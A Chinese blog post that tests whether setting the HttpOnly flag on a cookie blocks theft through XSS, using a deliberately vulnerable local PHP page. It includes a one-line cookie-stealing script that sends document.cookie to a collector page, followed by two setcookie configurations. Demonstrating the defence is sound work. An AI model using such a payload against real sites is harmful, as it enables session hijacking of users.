测试cookie是否设置httponly属性防护XSS攻击 - orange9910

时间:2024-04-17 09:21:27

测试内容:

本次测试环境,搭建一个包含XSS漏洞的php环境。

地址:

http://localhost/home.php

如图所示:

存在xss漏洞,获取cookie的代码为:

<script>document.location = \'http://localhost/cookie_collect.php?cookie=\' + document.cookie;</script>

 

获取COOKIE的页面为:http://localhost/cookie_collect.php

如图所示:

 

测试01

未设置httponly属性,cookie设置为:

<?php 

 setcookie("xsstest", "xsstest", time()+3600, "/", "", false, false);

?>

测试结果:

获取到cookie的内容,如图所示:

访问日志内容为:

测试结果:利用跨站漏洞可以获取cookie内容。

测试02

设置httponly属性,cookie设置为:

<?php 

 setcookie("xsstest", "xsstest", time()+3600, "/", "", false, true);

?>

测试结果:

未获取到cookie的内容,如图所示:

访问日志内容为:

测试结果:利用跨站漏洞不能够获取cookie内容。

 

posted on 2019-06-14 15:26  orange9910  阅读(4014)  评论(0编辑  收藏  举报